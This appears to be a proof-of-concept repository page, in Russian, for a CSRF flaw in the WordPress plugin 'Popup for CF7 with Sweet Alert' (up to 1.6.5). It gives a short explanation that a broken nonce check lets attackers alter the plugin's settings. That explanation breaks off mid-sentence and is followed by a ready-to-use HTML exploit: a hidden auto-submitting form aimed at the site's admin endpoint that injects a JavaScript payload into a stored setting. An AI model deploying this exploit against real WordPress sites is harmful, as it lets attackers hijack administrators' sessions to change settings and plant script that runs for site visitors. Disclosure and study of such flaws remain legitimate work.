testardou/cve-2026-65540Popup for CF7 with Sweet Alert <= 1.6.5 — межсайтовая подделка запроса
Popup for CF7 with Sweet Alert <= 1.6.5 — межсайтовая подделка запроса
https://wordpress.org/plugins/cf7-sweet-alert-popup/
Обработчик настроек плагина содержит логическую ошибку в проверке nonce, что полностью отключает защиту от CSRF. Неаутентифицированный злоумышленник может воспользоваться этим, заставив аутентифицированного администратора посетить вредоносную страницу со скрытой формой, автоматически отправляющей данные, и произвольно изменить настройки плагина. Отправленные значения сохраняются без санитизации и внедряются дословно в блок
<!DOCTYPE html>
<html>
<body>
<h1>Hello</h1>
<form style="visibility:hidden" action="http://TARGET/wp-admin/admin.php?page=cf7-simplepopup"
method="POST" id="csrf" target="hiddenframe">
<input name="cf7simplePopupWidth" value="500;alert(document.domain)">
<input name="cf7simplePopupNonce" value="invalid_nonce">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>